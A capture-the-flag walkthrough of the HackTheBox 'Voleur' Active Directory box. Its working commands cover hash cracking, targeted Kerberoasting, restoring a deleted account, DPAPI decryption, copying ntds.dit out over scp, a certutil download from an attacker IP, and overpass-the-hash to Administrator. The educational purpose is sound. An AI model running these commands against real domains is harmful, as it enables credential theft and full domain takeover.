HTB Voleur: Medium Walkthrough – Kerberos-Only AD, Targeted Kerberoasting & Tombstone Revival to Domain Admin
Introduction
Voleur is a Medium-difficulty Windows Active Directory box on HackTheBox that starts, like a real-world assumed-breach engagement, with a valid low-privileged credential in hand. The twist is that the domain controller has NTLM entirely disabled — every classic AD enumeration tool (netexec, rpcclient, ldapsearch) fails in confusing ways until you realize the fix is to force Kerberos authentication everywhere.
From there, the box builds a long, realistic attack chain: a password-protected spreadsheet found on an SMB share, an Active Directory ACL abuse technique called targeted Kerberoasting, a rarely-seen tombstone/deleted-object restore trick to bring a disabled leaver account back to life, DPAPI credential decryption, and finally a Windows Subsystem for Linux (WSL) misconfiguration that hands over a full offline copy of ntds.dit — the crown jewels of any domain.
This is a great box for beginners to see how many real AD environments actually get breached: not through a single flashy CVE, but through a chain of small misconfigurations, leftover files, and overly broad permissions.
Attack Chain Summary
Recon (Kerberos-only DC) → SMB access as ryan.naylor → crack encrypted Access_Review.xlsx
→ svc_ldap creds leaked → targeted Kerberoasting (WriteSPN on svc_winrm) → crack TGS
→ WinRM as svc_winrm (user.txt) → BloodHound: svc_ldap in RESTORE_USERS
→ restore deleted todd.wolfe account (RunasCs.exe, double-hop bypass)
→ fix missing UPN via bloodyAD → SMB access as todd.wolfe
→ DPAPI credential files on IT share → decrypt masterkey → jeremy.combs creds
→ WinRM as jeremy.combs → id_rsa for svc_backup found on IT share
→ SSH as svc_backup (WSL/Ubuntu) → sudo NOPASSWD ALL → root on WSL
→ WSL root reads /mnt/c → NTDS.dit + SYSTEM + SECURITY backup found
→ offline secretsdump → Administrator NT hash
→ overpass-the-hash (getTGT) → wmiexec -k as Administrator → root.txt
Reconnaissance
A full TCP port scan shows a textbook Windows Domain Controller alongside an unusual extra: OpenSSH running on a non-standard port.
nmap -sV -sC -p- -oA nmap/voleur 10.129.29.203
Key findings:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | Windows authentication |
| 135/593/49xxx | RPC | Windows RPC endpoint mapper |
| 389/636/3268/3269 | LDAP/LDAPS/GC | Active Directory |
| 445 | SMB | Signing enabled and required |
| 464 | Kerberos | kpasswd (password change) |
| 2222 | SSH | OpenSSH on Ubuntu — unusual for a DC, hints at WSL |
| 5985 | WinRM | HTTP, Microsoft-HTTPAPI |
| 9389 | AD Web Services | .NET |
-sV (service/version detection) and -sC (default NSE scripts) are enough at this stage to fingerprint the box as a Windows AD DS domain controller. The extra SSH port 2222 running on what nmap fingerprints as Ubuntu, on a Windows box, is the first hint that Windows Subsystem for Linux (WSL) is installed — a detail that becomes critical for privilege escalation later.
echo "10.129.29.203 hostmaster.voleur.htb dc.voleur.htb voleur.htb DC" | sudo tee -a /etc/hosts
Enumeration — the Kerberos-only wall
The box provides starting credentials: ryan.naylor / HollowOct31Nyt. Normally that’s enough to start dumping users and shares with netexec (nxc), but every attempt failed the same way regardless of the tool used:
nxc smb voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --shares
# SMB ... (NTLM:False)
# SMB ... [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED
rpcclient -U "ryan.naylor%HollowOct31Nyt" 10.129.29.203
# Cannot connect to server. Error was NT_STATUS_NOT_SUPPORTED
ldapsearch -x -D "voleur.htb\ryan.naylor" -w 'HollowOct31Nyt' -b "DC=voleur,DC=htb"
# ldap_bind: Invalid credentials (49)
The same failure happened with null sessions and guest access, which ruled out “wrong password” or “locked account.” The real clue was buried in every banner: (NTLM:False). NTLM authentication is disabled domain-wide on this DC, so any tool that defaults to NTLM (which is what nxc, rpcclient, and a simple LDAP bind -x all do) gets rejected with STATUS_NOT_SUPPORTED no matter how correct the credentials are. The fix is to force Kerberos authentication for every tool.
Setting up Kerberos on the attack box
cat <<'EOF' | sudo tee /etc/krb5.conf
[libdefaults]
default_realm = VOLEUR.HTB
kdc_timesync = 1
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
admin_server = dc.voleur.htb
}
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB
EOF
kinit ryan.naylor@VOLEUR.HTB # password: HollowOct31Nyt
klist
Two more gotchas showed up before Kerberos actually worked:
KRB_AP_ERR_SKEW— Kerberos is strict about time; if the client and DC clocks drift by more than ~5 minutes, every ticket is rejected. HTB VPN labs drift constantly, so this isn’t a one-time fix — resync the clock before every session:sudo ntpdate -u dc.voleur.htb kinit ryan.naylor@VOLEUR.HTB- Always target the DC’s FQDN, never the bare domain name.
nxc smb voleur.htb ...mis-parsesvoleur.htbasname:voleur / domain:htband then tries to resolve a nonexistent host calledHTB. Targetingdc.voleur.htbdirectly avoids this.
With Kerberos working and -k passed to every tool, the domain opened up:
nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares
ADMIN$ Remote Admin
C$ Default share
Finance
HR
IPC$ READ Remote IPC
IT READ
NETLOGON READ Logon server share
SYSVOL READ Logon server share
nxc ldap dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --users
11 accounts were enumerated: Administrator, Guest, krbtgt, ryan.naylor, marie.bryant, lacey.miller, svc_ldap, svc_backup, svc_iis, jeremy.combs, svc_winrm. Several service accounts (svc_ldap, svc_backup, svc_iis, svc_winrm) stand out as natural targets for later credential-hunting.
Foothold — cracking an encrypted spreadsheet
Browsing the readable shares as ryan.naylor turned up an Access_Review.xlsx file. Opening it revealed it was password-protected — a common pattern in corporate environments where “sensitive” spreadsheets get an Office password instead of proper access control.
file Access_Review.xlsx
# Access_Review.xlsx: CDFV2 Encrypted
office2john.py extracts a crackable hash from Office-encrypted documents, which john can then attack offline:
office2john.py Access_Review.xlsx | cut -d ":" -f 2 > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
football1 (?)
The password football1 decrypted the file (msoffcrypto-tool or LibreOffice headless conversion both work to actually remove the protection and view the contents). Converting it to CSV revealed an HR access-review table with plaintext service account passwords and useful notes:
User,Job Title,Permissions,Notes
Ryan.Naylor,First-Line Support Technician,SMB,Has Kerberos Pre-Auth disabled temporarily to test legacy systems.
Todd.Wolfe,Second-Line Support Technician,Remote Management Users,Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.
Jeremy.Combs,Third-Line Support Technician,Remote Management Users.,Has access to Software folder.
svc_backup, ,Windows Backup,Speak to Jeremy!
svc_ldap,,LDAP Services,P/W - M1XyC9pW7qT5Vn
svc_iis,,IIS Administration,P/W - N5pXyW1VqM7CZ8
svc_winrm,,Remote Management,Need to ask Lacey as she reset this recently.
This single file leaks two immediately usable service account passwords (svc_ldap, svc_iis) and drops hints for the rest of the chain: Todd Wolfe was deleted but his password is known, Jeremy Combs is connected to svc_backup, and svc_winrm’s password was recently reset by someone else (so it isn’t listed).
Privilege Escalation Path 1 — Targeted Kerberoasting to svc_winrm
Kerberoasting normally targets accounts that already have a Service Principal Name (SPN) set, since only SPN-bearing accounts can be issued a crackable TGS ticket. svc_winrm had no SPN — but BloodHound (collected with bloodhound-python -k after kinit) showed that svc_ldap holds a WriteSPN privilege over the svc_winrm object.
What WriteSPN abuse means: if an attacker-controlled account can write the servicePrincipalName attribute of a target user, it can plant a fake SPN on that user. Once an SPN exists, the KDC will happily issue a Kerberos service ticket (TGS) for it to any authenticated user, encrypted with a key derived from the target’s password hash. That ticket can then be extracted and cracked offline — this is “targeted Kerberoasting,” because instead of settling for accounts that already have SPNs (and are often forced to use complex auto-generated passwords), the attacker manufactures a target for a chosen account.
# Plant a fake SPN on svc_winrm using svc_ldap's WriteSPN right
bloodyAD -k -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' --host dc.voleur.htb \
set object "CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb" servicePrincipalName -v "HTTP/golego"
# Request and dump the TGS for the newly-SPN'd account
nxc ldap dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -d voleur.htb -k \
--kerberoasting winrm_tgs.txt
# Crack it offline (etype 23 = RC4, hashcat mode 13100)
hashcat -m 13100 winrm_tgs.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$: AFireInsidedeOzarctica980219afi
With svc_winrm’s cracked password, WinRM access (over Kerberos, since NTLM is off) was possible:
kinit svc_winrm@VOLEUR.HTB # password: AFireInsidedeOzarctica980219afi
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
[redacted]
This yields the user flag.
Privilege Escalation Path 2 — Reviving a deleted user via Tombstone Recovery
BloodHound also showed svc_ldap is a member of a custom group called RESTORE_USERS, which is granted rights over Active Directory’s deleted objects container. When an AD object is deleted, it isn’t wiped immediately — it’s converted into a “tombstone” and kept for a configurable retention period (60–180 days by default) before permanent garbage collection. Anyone with the right permissions can query -IncludeDeletedObjects and issue Restore-ADObject to bring the object back exactly as it was, including its original SID and group memberships.
Earlier reconnaissance had already established: Todd.Wolfe was a leaver whose account was deleted, but whose reset password (NightT1meP1dg3on14) is documented in the leaked spreadsheet. Restoring his account effectively means logging back in as him, inheriting whatever files and secrets are still sitting in his old user profile.
The double-hop problem. Running Invoke-Command -Credential $svc_ldap_creds from inside the existing svc_winrm WinRM session failed with Access is denied. This is the classic WinRM double-hop limitation: when you authenticate to a remote host over WinRM, that session’s Kerberos ticket generally cannot be delegated to a second hop (like a local LDAP call using different credentials) unless explicit delegation is configured. The workaround was to avoid the second network hop entirely by spawning a brand-new local process authenticated directly as svc_ldap, using the RunasCs tool:
# Upload RunasCs.exe to the target
certutil -urlcache -split -f http://10.10.15.86:8080/RunasCs.exe C:\Windows\Tasks\RunasCs.exe
# Restore the tombstoned todd.wolfe object
C:\Windows\Tasks\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -Command Get-ADObject -Filter 'sAMAccountName -eq ''todd.wolfe''' -IncludeDeletedObjects | Restore-ADObject" --domain voleur.htb
# Re-enable the restored (but still disabled) account
C:\Windows\Tasks\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -Command Enable-ADAccount -Identity 'todd.wolfe'" --domain voleur.htb
RunasCs runs a process as another local user without needing a full interactive logon session, which sidesteps the double-hop restriction because the LDAP write happens as a fresh local authentication rather than a delegated remote credential.
Fixing the missing UPN
Restore-ADObject brings back most attributes, but not always the userPrincipalName (UPN) — and Kerberos needs the UPN to map a login name to a principal in the KDC database. kinit todd.wolfe@VOLEUR.HTB initially failed with Client not found in Kerberos database until the UPN was manually restored using svc_ldap’s existing access:
bloodyAD -k -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' --host dc.voleur.htb \
set object "todd.wolfe" userPrincipalName -v "todd.wolfe@voleur.htb"
kinit todd.wolfe@VOLEUR.HTB # password: NightT1meP1dg3on14
A direct Evil-WinRM Kerberos session for Todd crashed the Ruby GSSAPI library, and Todd is not a local administrator anyway (so wmiexec wouldn’t give an interactive shell), so the next step used SMB only, targeting Todd’s archived profile on the IT share.
nxc smb dc.voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -d voleur.htb -k -M spider_plus
spider_plus recursively indexes every file on every reachable share into JSON, which was then filtered for DPAPI-related artifacts:
jq '.[] | with_entries(select(.key | contains("Credentials") or contains("Protect")))' \
~/.nxc/modules/nxc_spider_plus/dc.voleur.htb.json
This surfaced two DPAPI-protected files inside Todd’s leftover profile:
AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3(an encrypted Windows Credential Manager blob)AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1110\08949382-134f-4c63-b93c-ce52efc0aa88(his DPAPI master key)
What DPAPI is and why it matters here
Windows Data Protection API (DPAPI) is what Credential Manager, saved browser passwords, and Wi-Fi keys use to encrypt secrets at rest. Every protected blob is encrypted with a per-user master key, and that master key is itself encrypted with a key derived from the user’s own logon password. If you have the user’s plaintext password and their master key file, you can decrypt the master key offline, then use it to decrypt any credential blob protected with it — no interactive Windows logon required.
# Download the files
nxc smb dc.voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -d voleur.htb -k --share IT \
--get-file "Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3" ./cred_blob
nxc smb dc.voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -d voleur.htb -k --share IT \
--get-file "Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88" ./masterkey
# Decrypt the master key using Todd's known password
impacket-dpapi masterkey -file ./masterkey \
-sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password 'NightT1meP1dg3on14'
# Use the decrypted master key to decrypt the credential blob
impacket-dpapi credential -file ./cred_blob -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
The decrypted credential blob contained plaintext saved credentials for the next account in the chain:
Username: jeremy.combs
Password: qT3V9pLXyN7W4m
Privilege Escalation Path 3 — Jeremy Combs, WSL, and a leaked SSH key
kinit jeremy.combs@VOLEUR.HTB # password: qT3V9pLXyN7W4m
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
Jeremy has access to a “Software folder” per the leaked spreadsheet, which turned out to be the IT\Third-Line Support directory:
*Evil-WinRM* PS C:\IT\Third-Line Support> dir
d----- Backups
-a---- id_rsa
-a---- Note.txt.txt
*Evil-WinRM* PS C:\IT\Third-Line Support> type Note.txt.txt
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize
any of the backup tools from Linux. Please see what you can set up.
Thanks, Admin
The Backups folder itself was access-denied, but id_rsa was readable — an OpenSSH private key belonging to svc_backup (its comment field literally reads svc_backup@DC). This note is the confirmation that the unusual SSH-on-port-2222 service seen in recon is a WSL (Windows Subsystem for Linux) instance being used to run Linux-native backup tooling against the Windows filesystem.
ssh -i id_rsa svc_backup@voleur.htb -p 2222
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)
svc_backup@DC:~$
Privilege Escalation Path 4 — WSL root and the NTDS.dit backup
Inside the WSL environment, svc_backup had unrestricted sudo rights:
sudo -l
User svc_backup may run the following commands on DC:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
sudo su
This is trivial root inside the WSL Linux instance — but WSL shares the same underlying disk as the Windows host, mounted read/write at /mnt/c. Root inside WSL therefore has full filesystem access to the Windows C: drive, bypassing every Windows ACL that would normally protect files like the domain database. The note from “Admin” about testing WSL backup tooling turned out to be exactly where the box’s true weakness lived: Windows Server Backup (or a manual copy) had dropped a full Active Directory database backup on disk, and nothing on the Windows side restricted a root WSL process from reading it.
ls -la "/mnt/c/IT/Third-Line Support/Backups/Active Directory"
# ntds.dit ntds.jfm
ls -la "/mnt/c/IT/Third-Line Support/Backups/registry"
# SECURITY SYSTEM
ntds.dit is the actual Active Directory database file — it contains every domain object, including password hashes for every user and computer account, encrypted with a key derived from the SYSTEM registry hive. Having both files offline is equivalent to having full read access to the domain’s entire credential store.
cp "/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" /tmp/ad_extracted/
cp "/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" /tmp/ad_extracted/
# Exfiltrate to the attack box
scp -P 2222 -i id_rsa svc_backup@dc.voleur.htb:/tmp/ad_extracted/\* ./
# Offline extraction of every domain hash
impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM local
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
...
From NTDS hash to Domain Admin — Overpass-the-Hash
With the Administrator NT hash in hand, the obvious next move — passing the hash over SMB (wmiexec/smbexec) — failed for the same reason everything failed at the start of the engagement:
[-] SMB SessionError: code: 0xc00000bb - STATUS_NOT_SUPPORTED
NTLM is disabled domain-wide, and pass-the-hash is fundamentally an NTLM authentication technique — there’s no NTLM handshake to hijack here. The fix is overpass-the-hash (a.k.a. pass-the-key): instead of using the NT hash for an NTLM logon, use it as the raw key material to request a legitimate Kerberos TGT directly from the KDC. Impacket can do this because the NT hash is exactly what’s needed to derive the RC4 Kerberos key for a principal.
# Request a TGT using only the NT hash (no plaintext password needed)
impacket-getTGT -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.129.29.203 voleur.htb/Administrator
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Use the TGT for a genuine Kerberos-authenticated WMI session
impacket-wmiexec -k -no-pass -dc-ip 10.129.29.203 dc.voleur.htb
C:\users\Administrator\Desktop>type root.txt
[redacted]
This yields the root flag, completing full domain compromise as Administrator.
Flags
User flag : [redacted — never publish real HTB flags]
Root flag : [redacted]
Key Takeaways
(NTLM:False)is a signal, not an error to brute past. When every tool fails identically regardless of credentials, check the auth banner before assuming the creds are wrong — Kerberos-only environments are increasingly common in hardened AD setups.- Encrypted “sensitive” files are not access control. An Office password cracked in two seconds with
rockyou.txtleaked multiple service account passwords — password-protecting a spreadsheet is not a substitute for proper share permissions. - WriteSPN is a full Kerberoasting primitive, not just an SPN edit right. Any ACL that lets you write
servicePrincipalNameon another account effectively lets you request a crackable Kerberos ticket for that account, even if it never had an SPN before. - Deleted AD objects aren’t gone — they’re tombstoned. Anyone with rights over the Deleted Objects container (like a
RESTORE_USERS-style group here) can resurrect old accounts complete with SID and group memberships, potentially reviving stale local profiles full of DPAPI secrets. - WSL blurs the Windows/Linux security boundary. Root inside a WSL distro has unrestricted read/write access to the host’s NTFS volumes via
/mnt/c, bypassing Windows ACLs entirely — a WSL sudo misconfiguration can be just as dangerous as a Windows local admin compromise. - NTLM being disabled breaks pass-the-hash — but not overpass-the-hash. When SMB/WMI reject NTLM hash logons, the same NT hash can still be used to mint a Kerberos TGT directly, restoring full lateral movement capability.